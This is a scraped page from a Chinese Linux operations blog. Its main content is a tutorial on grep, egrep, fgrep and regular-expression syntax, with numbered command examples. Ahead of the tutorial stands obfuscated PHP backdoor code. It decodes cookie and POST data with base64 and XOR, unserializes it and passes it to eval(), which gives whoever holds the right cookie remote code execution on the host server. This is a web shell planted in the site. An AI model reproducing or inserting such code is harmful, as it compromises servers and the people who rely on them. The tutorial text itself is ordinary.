$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} grep,egrp,fgrep 命令与正则表达式 | Linux运维部落

grep,egrp,fgrep 命令与正则表达式

一 简介

    grep (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。

Unix的grep家族包括grep、egrep和fgrep。egrep和fgrep的命令只跟grep有很小不同。egrep是grep的扩展,支持更多的RE元字符, fgrep就是fixed grep或fast grep,它们把所有的字母都看作单词,也就是说,正则表达式中的元字符表示回其自身的字面意义,不再特殊。linux使用GNU版本的grep。它功能更强,可以通过-G、-E、-F命令行选项来使用egrep和fgrep的功能。

    正则表达式:又称正规表示法、常规表示法(英语:Regular Expression,在代码中常简写为regex、regexp或RE)正则表达式使用单个字符串来描述、匹配一系列符合某个句法规则的字符串。在很多文本编辑器里,正则表达式通常被用来检索、替换那些符合某个模式的文本。

二 grep用法

  1.grep 常用选项

            -v: 显示不包含匹配文本的所有行。

            -o: 仅显示匹配的字串,而非字串所在的行

            -i: 忽略字符大小写

            -n:输出匹配行的行号

            -q:安静模式,不打印任何标准输出

            -E: 扩展正则表达式,相当于egrep,egrep 扩展正则表达式

            -F:固定字符串列表,相当于fgrep,fgrep 不支持正则表达式

            -A:显示被模式匹配到的行及后#行

            -B:显示被模式匹配到的行及前#行

            -C:显示被模式匹配到的行及其前后各#行

            –color=auto :可以将找到的关键词部分加上颜色的显示

 2.正则表达式:

    a.字符匹配:

            . : 匹配任意单个字符,相当于通配符?;

              [] : 匹配指定范围内的任意单个字符;

            [^] : 匹配指定范围外的任意单个字符;

    b.常用特殊字符匹配

           [0-9] = [[:digit:]] :匹配数字

           [a-z] = [[:lower:]] : 匹配小写字母

           [0-9a-zA-Z] = [[:alnum:]] : 匹配大小写字母或数字

           [a-zA-Z] = [[:alpha:]] : 匹配字母,大小写字母

           [[:space:]] = \s : 匹配空白字符 

           [A-Z] = [[:upper:]] = :  代表大小字写母

    c. 次数匹配:

           * :匹配*前面的单个字符任意次,可以为0次;

           .*:匹配任意长度的任意字符;

           \?:匹配?前面的字符0或者1次;如果是使用egrep 直接?

           \+:匹配+前面的字符至少1次;如果是使用egrep 直接+ 

           \{m,n\}:匹配其左侧的字符至少m次,至多n次;如果是使用egrep 直接{m,n}

           \{m,\}:匹配其左侧的字符至少m次 如果是使用egrep 直接{m,}

           \{0,n\}:匹配其左侧的字符至多n次   如果是使用egrep 直接{0,n}

           \{m\}:精确匹配其左侧的字符m次 如果是使用egrep 直接{m}

    d. 位置锚定:

                     ^ :锚定行首

                     $ : 锚定行尾

                    ^$ :匹配空白行,^[[:space:]]$ 一样的效果

    e.单词锚定:

       \< :锚定词首

       \>:锚定词尾

       \<PATTERN\>:匹配PATTERN能匹配到的整个单词

       \b:匹配一个字边界,即字与空格间的位置

        |: 或的意思 a|b 就是匹配a或者是b

    f.分组及引用:

                     \(\) :将()中字符集合到一起作为一个字符引用,如果是使用egrep 直接()

                     \#:引用,模式中自左而右,而非模式本身

 3.正则表达式的贪婪与非贪婪模式

                     贪婪匹配:正则表达式一般趋向于最大长度匹配,也就是所谓的贪婪匹配。

                     非贪婪匹配:就是匹配到结果就好,就少的匹配字符。

                     默认是贪婪模式;在量词后面直接加上一个问号?就是非贪婪模式。

三 例子


1.将/etc/passwd,有出现 root 的行取出来,同时显示这些行在/etc/passwd的行号

grep -n root /etc/passwd

blob.png


2.用 dmesg 列出核心信息,再以 grep 找出内含 eth 那行,要将捉到的关键字显色,且加上行号来表示:

grep -n root /etc/passwd

blob.png

3.将/etc/passwd,将没有出现 root 的行取出来

grep -v root /etc/passwd

blob.png

4.用 dmesg 列出核心信息,再以 grep 找出内含 eth0 那行,在关键字所在行的前两行与后三行也一起捉出来显示

dmesg | grep -n -A3 -B2 'eth0'

blob.png

5.搜索cc.txt下aa 关键字忽略字母大小写,命令如下:

grep -i ‘aa' cc.txt

blob.png

6.在/etc/passwd 查找以root开头的行

grep "^root" /etc/passwd

blob.png

7.在/etc/passwd 查找以nologin结尾的行

grep "nologin$" /etc/passwd

blob.png


创建一个测试文件内容如下

blob.png


8. 在siaz.txt 文件中匹配以the作为单词首部的行

grep "\<the" siaz.txt

blob.png

9.在siaz.txt 文件中匹配以the作为单词词尾的行

grep "the\>" siaz.txt

blob.png

10.在siaz.txt 文件中匹配/etc/passwd中包含单词"the"的行

grep "\bthe\b" siaz.txt

blob.png

11.在/etc/passwd中 匹配单个字符 r..t

grep "r..t" /etc/passwd

blob.png

12.匹配0个或多个重复位于星号前的字符 :从/etc/passwd中匹配rt、rot、root、roo*t

grep 'ro*t' /etc/passwd

blob.png

13.匹配一组字符中的任意一个, 从/etc/passwd中匹配包含test1或best的行

grep "[tb]est" /etc/passwd

blob.png

14.匹配/etc/passwd中不包含root的行

grep "^[^root]" /etc/passwd   ([^root] 取非root字符,^ 开头非root的行)

blob.png

15.匹配/etc/passwd中字母o连续出现2次的行

grep "o\{2\}"  /etc/passwd

grep -E "o{2}"  /etc/passwd

blob.png

测试文件bb.txt 内容如下

blob.png

16.匹配文件bb.txtx 中 最少出现m次,最多出现n次

grep "ro\{2,4\}"  bb.txt 

grep -E "ro{2,4}"  bb.txt 

blob.png

分组测试文件cc.txt 内容如下

blob.png

17.匹配cc.txt文件中以2016开头且以2016结尾的行

grep "^\(2016\).*\1$" cc.txt

grep -E "^(2016).*\1$" cc.txt 

blob.png

18.在cc.txt 文件中分组引用w(es)t 中的es

grep "w\(es\)t.*\1" cc.txt

grep -E "w(es)t.*\1" cc.txt

blob.png

19.匹配cc.txt文件中的数字与大小写字母

grep "[[:alnum:]]" cc.txt

grep "[0-9a-Z]" cc.txt 

blob.png

20.匹配cc.txt文件的空白键

grep "[[:space:]]" cc.txt 

blob.png

21.从/etc/passwd中匹配包含ro字符串,且字母至少出现一次以上的行

grep -E "ro+" /etc/passwd

blob.png

22.在bb.txt 文件中,匹配其roo前导字符0次或1次

grep -E "roo?" bb.txt 

blob.png

23.从/etc/passwd中匹配test1或best1

grep "[t|b]est1" /etc/passwd

blob.png

24.在/etc/passwd上查找用户id和组id在500到1099之间的行

grep "\<1\?[05][0-9][0-9]\>" /etc/passwd

grep -E "\<1?[05][0-9][0-9]\>" /etc/passwd

blob.png

25.找出ifconfig命令结果中的1-255之间的数字

ifconfig | grep -o -E "\<([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\>"

blob.png

26.显示/etc/passwd文件中其默认shell为/bin/bash的用户

grep "/bin/bash$" /etc/passwd | sort -t: -k3 -n | tail -1 | cut -d: -f1

blob.png

原创文章,作者:liangkai,如若转载,请注明出处:http://www.178linux.com/11156

(0)
上一篇 2016-01-18 23:38
下一篇 2016-01-19 15:57

相关推荐

  • ​Linux基础知识之文件权限

    实验环境:    Linux系统版本为CentOS6.8_x86_64版本,以root用户和sjsir用户远程用xshell连接系统,进行试验。 文本目录:    1.文件的属性    2.文件权限相关的命令    3.umask 新建文件和目录的默认权限   &nbs…

    Linux干货 2016-08-05
  • 马哥教育网络班20期+第三周课程练习

    1. 列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。 [oracle@ocp ~]$ who root     pts/1        2016-06-26 …

    Linux干货 2016-06-26
  • shll函数作业

    扫描/etc/passwd文件每一行,如发现GECOS字段为空,则填充用户名和单位电话为62985600,并提示该用户的GECOS信息修改成功。 [root@localhost sh.log]# cat whileGECOS.sh  #!/bin/bash #author:DYW #扫描/etc/passwd文件每一行…

    Linux干货 2016-08-24
  • 马哥教育网络班21期-第二周课程练习

    第二周课程练习 1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示?     1.1 目录管理类命令:cd,pwd,ls,mkdir,rmdir,tree          1.1.1 cd:主要功能是改变当前目录,…

    Linux干货 2016-07-04
  • iptables

    1.开启防火墙systemctl start firewalld2.清空所有的默认规则,定义自己的规则iptables -F 查看此时的iptablesiptables -nL Chain INPUT (policy ACCEPT)target prot opt source destination Chain FORWARD (policy ACCEPT)…

    Linux干货 2017-07-26
  • 萝卜运维记-第二周

    part2–针对文件命令的介绍,使用,演示 Ⅰ Linux文件管理类命令常用方法 Ⅱ bash的工作特性,相关示例 Ⅲ 文件的元数据有哪些,以及所代表的含义。 Ⅳ 相关命令的操作,和结果演示。 ①Linux文件管理命令常用方法 Linux常见文件类型 -:常规文件;即f; d: directory…

    Linux干货 2016-12-12

评论列表(1条)